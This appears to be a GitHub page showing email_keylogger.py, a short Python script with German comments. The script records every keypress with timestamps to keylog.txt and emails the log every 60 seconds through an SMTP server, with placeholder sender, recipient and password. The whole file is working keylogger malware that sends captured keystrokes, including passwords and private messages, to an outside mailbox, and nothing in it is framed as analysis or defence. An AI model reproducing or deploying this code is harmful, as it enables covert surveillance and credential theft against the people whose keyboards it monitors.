-
Notifications
You must be signed in to change notification settings - Fork 1
/
email_keylogger.py
47 lines (39 loc) · 1.45 KB
/
email_keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import keyboard
from datetime import datetime
import ctypes
import os
import sys
import smtplib
import schedule
import time
def on_key(event):
key = event.name
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
with open('keylog.txt', 'a') as f:
f.write(f"[{timestamp}] Key: {key}\n")
keyboard.on_press(on_key)
def send_email():
from_addr = 'your@email.de' # deine E-Mail-Adresse
to_addr = 'target@email.de' # die Ziel-E-Mail-Adresse
subject = 'Keylogs' # Betreff der E-Mail
body = '' # Inhalt der E-Mail
# Öffne die Datei mit den geloggten Tasteneingaben und lies den Inhalt
with open('keylog.txt', 'r') as f:
body = f.read()
# SMTP-Verbindung herstellen und E-Mail senden
try:
server = smtplib.SMTP('example.smtp.server', 587) #put your email providers smtp server here
server.starttls()
server.login(from_addr, 'YourSecretPassword') # Dein E-Mail-Passwort
msg = f"From: {from_addr}\nTo: {to_addr}\nSubject: {subject}\n\n{body}"
server.sendmail(from_addr, to_addr, msg)
server.quit()
print('E-Mail erfolgreich gesendet!')
except Exception as e:
print(f"Fehler beim Senden der E-Mail: {e}")
# Plane das Senden der E-Mail alle 60 Sekunden
schedule.every(60).seconds.do(send_email)
# Starte die Jobplanung
while True:
schedule.run_pending()
time.sleep(1)